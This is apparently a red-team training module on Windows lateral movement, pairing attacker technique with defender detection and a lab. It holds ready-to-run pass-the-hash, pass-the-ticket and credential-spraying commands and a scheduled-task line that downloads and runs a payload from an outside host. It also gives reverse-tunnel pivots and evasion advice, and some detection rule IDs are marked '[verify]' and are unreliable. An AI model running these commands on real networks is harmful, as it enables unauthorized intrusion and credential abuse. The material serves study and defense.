Lateral Movement
Lateral movement is the act of using one foothold to authenticate to another host and execute code there. In a Windows domain, the credentials you have (a single hash, a single ticket, a single user) frequently unlock more boxes than they should, because authentication protocols (NTLM, Kerberos) and remote execution services (SMB/ADMIN$, WMI, WinRM, DCOM, RDP) all accept those credentials on every host that trusts them. The mature attacker’s toolkit — Impacket’s psexec.py/wmiexec.py/smbexec.py, CrackMapExec (now NetExec), Evil-WinRM, Rubeus for Kerberos — exists precisely because the protocol surface is so consistent across machines.
The Core Concept
Section titled “The Core Concept”Windows remote execution is a stack of independent protocols, each with its own RPC interface, authentication flow, and on-target artifact. The credentials are the currency; the protocol is the carrier.
┌─────────────────────────────────────────────────────────────┐│ L7 Exec channel psexec wmiexec smbexec winrm ││ (where the shell (svc + (wmiprvse (smb pipe (5985/ ││ lives) pipe) spawn) +bash) 5986) │├─────────────────────────────────────────────────────────────┤│ L5 RPC interface DCOM/IWbem svcctl WinRM WSMAN │├─────────────────────────────────────────────────────────────┤│ L4 Auth protocol NTLM / Kerberos (SSPI) │├─────────────────────────────────────────────────────────────┤│ L3 Transport SMB (445) / TCP 5985 / DCE/RPC │└─────────────────────────────────────────────────────────────┘
Pass-the-Hash │ Pass-the-Ticket │ Overpass-the-Hash (NTLM as proof) │ (Kerberos ticket) │ (NTLM→TGT)Every lateral movement technique can be classified by three axes:
- Credential type: plaintext / NTLM hash / Kerberos ticket / AES key
- Protocol: SMB / WMI / WinRM / DCOM / RDP / SSH
- Execution artifact: dropped service binary / in-memory WMI / named pipe / PSRP runspace
Defenders observe at the protocol layer (EID 4624 logon type, Sysmon EID 3 network, EID 1 process lineage) and at the artifact layer (EID 7045 service install, EID 4688 process parent).
How It Works
Section titled “How It Works”- Obtain a credential — from PE3: an NTLM hash (
aad3...:8846...), a Kerberos TGT, a plaintext password, an AES key. - Choose the protocol — based on what’s open (
nxc smb 10.0.0.0/24for SMB,nxc winrm 10.0.0.0/24for WinRM) and what the credential supports. NTLM hash works for SMB/WMI; Kerberos ticket works for everything; plaintext works everywhere. - Authenticate —
LSALogonUservia SSPI. The wire flow is:- NTLM: client sends
NTLM_NEGOTIATE, server sendsNTLM_CHALLENGE(8-byte challenge), client sendsNTLM_AUTHENTICATEcontaining the HMAC-MD5 of challenge using the NTLM hash as key. Server validates via the local SAM or DC. - Kerberos: client presents TGS for
cifs/target.host(for SMB) orhost/target.host(for WinRM), wrapped in an AP-REQ, inside aGSS-APIblob. Server validates via its own keytab (and validates the PAC via a DC call for KDC signature).
- NTLM: client sends
- Open the exec channel — for SMB, create the
IPC$andADMIN$shares, install a service viasvcctl(CreateService → StartService); for WMI,IWbemServices::CreateInstanceofWin32_Process; for WinRM, the WS-Management protocol’swxf:Receive/wxf:Sendover HTTP 5985 or HTTPS 5986. - Receive output — psexec reads stdout via the named pipe; wmiexec writes output to a temp file and reads it back over SMB; smbexec uses
%COMSPEC% /Q /c <command> 2^>^&1 1> \\127.0.0.1\ADMIN$\__output 2^>^&1and polls that file. - Tear down — stop and delete the service (psexec), close the runspace (WinRM).
Common Techniques
Section titled “Common Techniques”| Technique | Protocol | Credential | On-target Artifact | Detection Difficulty |
|---|---|---|---|---|
| psexec.py | SMB/445 | NTLM hash or password | Service binary in ADMIN$ | Easy — EID 7045 service |
| wmiexec.py | DCOM/WMI + SMB | NTLM hash | StdRegProv + temp file | Medium — WMI is noisy already |
| smbexec.py | SMB/445 | NTLM hash | svcctl + cmd over pipe | Easy — semi-interactive shell visible |
| atexec.py | DCOM/Schedule service | NTLM hash | schtasks job (EID 4698) | Easy — task created |
| Evil-WinRM | WinRM/5985 | Password or Kerb | PSRP runspace | Medium — looks like admin |
| WinRS (winrs.exe) | WinRM | Password | Same as WinRM | Easy — winrs.exe is uncommon |
| RDP | RDP/3389 | Password | Session (EID 4624 type 10) | Medium — interactive |
| WMI via PowerShell | DCOM/TCP 135 + dynamic | Password | wmiprvse.exe child of provider | Medium |
| DCOM lateral via MMC20 | DCOM | Password | mmc.exe COM activate | Hard — obscure |
| Pass-the-Ticket (Rubeus) | Kerberos | TGT in cache | klist shows TGT | Hard — no network logon by itself |
| SSH (Linux) | SSH/22 | Key or password | Standard SSH session | Medium — sshd logs |
Rubeus ptt + smbexec | SMB | TGS for cifs/host | Same as psexec | Hard — no NTLM in trace |
Hands-On Commands
Section titled “Hands-On Commands”# === ENUMERATION ===# NetExec (formerly CrackMapExec) — spray credentials across a subnetnxc smb 10.10.10.0/24 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586c# Output: [+] 10.10.10.5 - Pwn3d! (admin on this host)# [+] 10.10.10.6 - (Pwn3d!) ...
nxc smb 10.10.10.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth# --local-auth: don't talk to the DC; check local SAM
nxc winrm 10.10.10.0/24 -u jsmith -p 'Spring2024!'# WinRM open → Evil-WinRM available
# === psexec.py (Impacket) — classic service-binary lateral ===python3 psexec.py CORP/jsmith:Spring2024\!@10.10.10.5# Pass-the-hash:python3 psexec.py CORP/jsmith@10.10.10.5 -hashes :8846f7eaee8fb117ad06bdd830b7586c# Use SMB share other than ADMIN$:python3 psexec.py CORP/jsmith@10.10.10.5 -hashes :8846... -dc-ip 10.10.10.1 -service-name customsvc
# === wmiexec.py — no service install, less noise ===python3 wmiexec.py CORP/jsmith@10.10.10.5 -hashes :8846f7eaee8fb117ad06bdd830b7586c# Writes output to ADMIN$\__output, reads back, deletes.
# === smbexec.py — semi-interactive shell via svcctl ===python3 smbexec.py CORP/jsmith@10.10.10.5 -hashes :8846f7eaee8fb117ad06bdd830b7586c
# === atexec.py — scheduled task for one-shot ===python3 atexec.py CORP/jsmith@10.10.10.5 -hashes :8846... 'powershell -c "iwr http://10.10.0.5/payload.exe -o C:\windows\temp\p.exe; C:\windows\temp\p.exe"'
# === dcomexec.py — lateral via DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow) ===python3 dcomexec.py CORP/jsmith@10.10.10.5 -hashes :8846... 'whoami'# Object: ShellWindows → mimics Explorer.exe remote shell-out
# === Evil-WinRM (PowerShell WinRM shell, optimized for OSCP-style ops) ===evil-winrm -i 10.10.10.5 -u jsmith -p 'Spring2024!'# Pass-the-hash:evil-winrm -i 10.10.10.5 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586c# Inside the shell:# menu → list builtin features (Bypass-4MSI, download, upload, kerberos_ticket_add ...)# upload /download for staging# $sess = New-PSSession ... for relays
# === Kerberos lateral — Pass-the-Ticket ===# First, grab a TGT (from PE3 dump or Kerberoasting - PE9)# Convert .kirbi → .ccache for Impacket:python3 ticketConverter.py TGT_jsmith.kirbi TGT_jsmith.ccacheexport KRB5CCNAME=TGT_jsmith.ccache# Now Impacket uses Kerberos auth automatically:python3 psexec.py CORP/jsmith@host01.corp.local -k -no-pass
# Or use Rubeus (Windows side):Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/host01.corp.local /pttRubeus.exe ptt /ticket:TGS.kirbi# Now SMB access to host01 works without re-auth
# === Overpass-the-Hash — convert NTLM hash to a TGT ===# On a Windows foothold with the hash:Rubeus.exe asktgt /user:jsmith /domain:corp.local /ntlm:8846... /ptt
# === RDP lateral (well-known, but footprint is large) ===xfreerdp /v:10.10.10.5 /u:jsmith /p:'Spring2024!' /cert:ignore /dynamic-resolution
# === Linux SSH lateral ===ssh -i id_ed25519 jsmith@10.10.10.20# ProxyJump through the foothold:ssh -J foothold_user@10.10.0.10 -i id_ed25519 jsmith@10.10.10.20
# === Pivot via chisel (TCP reverse tunnel) ===# On attacker (chisel server):./chisel server -p 8000 -reverse# On foothold (chisel client):./chisel client 10.10.0.5:8000 R:5985:10.10.10.5:5985 R:445:10.10.10.5:445# Now from the attacker box: evil-winrm -i 127.0.0.1 -p 5985 (tunneled through foothold)
# === Pivot via ligolo-ng (modern, TUN-based, faster than chisel) ===# Attacker:./proxy -selfcert# Foothold:./agent -connect 10.10.0.5:11601 -ignore-cert# In ligolo UI: ifconfig tunnel0 240.0.0.1/24# start → tunnel takes over# Now from attacker: evil-winrm -i 10.10.10.5 (ligolo routes 10.10.10.0/24)Detection — Defender View
Section titled “Detection — Defender View”Windows Security Log:
- EID 4624 — Logon. The LogonType field is the primary indicator:
- Type 2 — Interactive (local console)
- Type 3 — Network (SMB share access, WMI, often WinRM, NTLM auth to ADMIN$)
- Type 4 — Batch (scheduled task)
- Type 5 — Service (service logon — psexec’s installed service)
- Type 7 — Unlock
- Type 8 — NetworkCleartext (basic auth)
- Type 9 — NewCredentials (RunAs / overpass-the-hash)
- Type 10 — RemoteInteractive (RDP)
- Type 11 — CachedInteractive Correlation pattern for psexec: EID 4624 (Type 3, NTLM, source IP = attacker) immediately followed by EID 7045 (Service Install) on the target.
- EID 4625 — Failed logon. A high count from one source IP indicates password spraying.
- EID 4648 — Explicit Credentials Logon (RunAs /
runas /user:). - EID 4672 — Special Privileges Assigned to new logon (admin-level).
- EID 7045 — Service Installed (System log). psexec creates a service named like
BTOBTOor whatever you specified; smbexec createsSMBservice; wmiexec does not create a service. - EID 4698 — Task Scheduler created (atexec).
- EID 4688 — Process Creation. The psexec signature:
cmd.exeorpowershell.exeparent =services.exe.
Sysmon:
- EID 1 — ProcessCreate —
cmd.exe/powershell.exewith parentservices.exeis the psexec pattern; parentwmiprvse.exeis the WMI pattern; parentwsmprovhost.exeis the WinRM pattern. - EID 3 — NetworkConnect —
wmiprvse.exeoutbound to attacker IP is highly suspicious (lateral via WMI on a non-management host). - EID 11 — FileCreate —
ADMIN$\*.exewrites from a non-DCOM source. - EID 13 — Registry —
HKLM\System\CurrentControlSet\Services\<svcname>\ImagePathwrite (the psexec service install).
MITRE ATT&CK:
- T1021.002 — Remote Services: SMB/Windows Admin Shares (psexec, smbexec)
- T1021.001 — Remote Services: RDP
- T1021.006 — Remote Services: WinRM
- T1021.003 — Remote Services: Distributed Component Object Model
- T1021.004 — Remote Services: SSH
- T1021.005 — Remote Services: VNC
- T1057 — Process Discovery (via WMI’s
Win32_Process) - T1047 — Windows Management Instrumentation (WMI execution itself)
- T1046 — Network Service Discovery (NetExec sweeps)
- T1550.001 — Use Alternate Auth Material: Pass-the-Hash
- T1550.002 — Use Alternate Auth Material: Pass-the-Ticket
- T1550.003 — Use Alternate Auth Material: KDE Cookie
- T1210 — Exploitation of Remote Services (when auth is bypassed rather than credential-presented)
Wazuh rule 920/502 [verify] — Service creation by non-system user.
Wazuh rule 88001 [verify] — Suspicious WMI remote process spawn (wmiprvse.exe parent).
Suricata — applies to wire-side detection:
- SID 2221027 [verify] — SMB2
CreateServicerequest via\pipe\srvsvcfrom non-admin source. - SID 2221004 [verify] —
NTLM_AUTHENTICATEwith no precedingNTLM_NEGOTIATE(pass-the-hash signature: hash is reused without re-deriving the negotiate).
Evasion Techniques
Section titled “Evasion Techniques”Prefer Kerberos to NTLM. NTLM pass-the-hash creates a network logon (EID 4624 Type 3) with AuthenticationPackageName=NTLM and a long LogonProcessName=NtLmSsp. Kerberos pass-the-ticket shows as AuthenticationPackageName=Kerberos, which is the default for domain-joined hosts and looks unremarkable. Rubeus’s ptt followed by SMB runs entirely on Kerberos — no NTLM in the trace at all.
WMI over DCOM without dropping a service. wmiexec.py doesn’t install a service; it uses Win32_Process.Create and reads output through a temp file on ADMIN$. The footprint is: wmiprvse.exe spawns a child (the command), writes to ADMIN$\__output, and SMB reads it. Sigma rule: parent=wmiprvse.exe and child=cmd.exe is a high-signal rule.
WinRM over PSRP. Evil-WinRM uses WSMan PSRP — the runspace is the same one an admin would create with Enter-PSSession. EID 4624 Type 3 (Kerberos) + child wsmprovhost.exe → powershell.exe looks like a legitimate admin action. Hard to distinguish without user behavior analytics.
DCOM lateral via lesser-known objects. The MMC20.Application, ShellWindows, ShellBrowserWindow, and Excel4Macro DCOM applications can all be activated remotely and Item().Application.ShellExecute(...) invoked. Detection is hard — these are valid COM activations; the unusual piece is the source IP and the parent process (mmc.exe or excel.exe spawning cmd.exe).
No-service lateral via scheduled task. schtasks /create /s target /ru SYSTEM /sc onstart /tn pwn /tr "cmd /c ..." /f && schtasks /run /tn pwn && schtasks /delete /f /tn pwn. EID 4698 (task created) and EID 100 (task fired) are the trail.
Hop through multiple credentials. Avoid using the same credential across many hosts — defenders trigger on “credential used from N+1 hosts in T minutes”. Use a different stolen account for each hop.
| Evasion | What it bypasses | Defense |
|---|---|---|
| Kerberos over NTLM for lateral | NTLM-specific Sigma rules | Cross-host credential-use analytics; rare-LogonType-by-source-IP |
| WMI over DCOM (no service install) | EID 7045 service detection | Sigma on wmiprvse.exe → cmd.exe parent-child |
| DCOM obscure objects (MMC20) | Sigma rules tuned for known-bad COM | Audit DCOM activation GUIDs; alert on remote-activate of MMC20 |
| WinRM PSRP | Looks like admin | UEBA on admin session pattern; alert on WinRM from non-admin hosts |
| Multi-hop with distinct creds | Per-credential fan-out detection | Per-user SID-based analytics + honeytoken accounts |
| Pre-auth via schtasks | Service-install Sigma | Alert on schtasks /create over RPC from non-DCOM source |
⚠️ What caught me: A client had a Sigma rule that flagged
wmiprvse.exeas parent ofcmd.exe. I switched todcomexec.pyusing theShellWindowsobject — that ends up parenting viaexplorer.exe(the local side spawnscmd.exethrough the Shell.Application COM object). The Sigma rule missed it because the parent wasexplorer.exe, which is on every allowlist. The catch came from a network heuristic: Kerberos TGS requests forcifs/,host/,ldap/from my foothold in a 60-second window — three TGSes from one user to one host is “enumerate-then-pivot” pattern. Lesson: when you evade host-side, you leave wire-side artifacts. The defender needs both layers; the attacker has to evade both.
Lab Practice
Section titled “Lab Practice”VMs: a small lab — DC (DC01), three domain-joined hosts (FS01 file server, SQL01 SQL Server, WS01 workstation). All Win Server 2019 / Win 10. Foothold on WS01 as a low-priv user jsmith.
Setup: enable WinRM on all hosts (winrm quickconfig), disable Defender real-time for lab realism, install Sysmon with SwiftOnConfig. Plant credentials in LSASS on WS01 (one NTLM hash for svc_sql service account with admin rights on SQL01).
Objective: from WS01, reach SQL01 via WMI (no service install), FS01 via psexec (note the service artifact), and DC01 via WinRM (PSRP). Use a different technique for each — defenders should see three distinct signatures.
Expected flag format: flag{lateral_3hosts_3protocols_wmi_smb_winrm}.
Detection that should fire:
WS01Security log: EID 4624 Type 3, source IP =SQL01/FS01/DC01, source user =jsmith/svc_sqlSQL01Security log: EID 4688 with parentwmiprvse.exe, childcmd.exeFS01Security log: EID 7045 (psexec service install), EID 4624 Type 3 (NTLM), EID 4624 Type 5 (service start)DC01Security log: EID 4624 Type 3 Kerberos fromWS01, child processwsmprovhost.exe→powershell.exe- Sysmon EID 1 — three distinct parent-child patterns
- Sysmon EID 3 — outbound from
WS01to each target on 445/135/5985
Interview Questions
Section titled “Interview Questions”Conceptual: why does pass-the-hash work for SMB and WMI but not for Kerberos? What is the protocol-level reason, and what credential type does Kerberos pass-the-* use instead?
Technical: walk through the on-target artifact difference between psexec.py, wmiexec.py, and smbexec.py. Which one creates a service, which one writes a temp file, and what is the Sysmon EID 1 parent-child signature of each?
Scenario: you have an NTLM hash for svc_sql. NetExec tells you the same account is admin on three hosts — SQL01, FS01, DC01. You have a 30-minute window before the SOC rotates credentials. Which host do you hit first, with which technique, and why?
Compare Evil-WinRM over PSRP and psexec over SMB. Why does the WinRM path produce EID 4624 Type 3 Kerberos while the psexec path produces EID 4624 Type 3 NTLM, and how does that distinction affect detection?
Conceptual: explain why Overpass-the-Hash is operationally distinct from Pass-the-Hash despite using the same NTLM hash as input. What does the attacker gain, and what new on-target artifact appears that wasn’t there before?
Related Modules
Section titled “Related Modules”→ PE3 (Credential Dumping) · PE10 (Kerberos-based lateral) · PE11 (Pass-the-Ticket deep dive)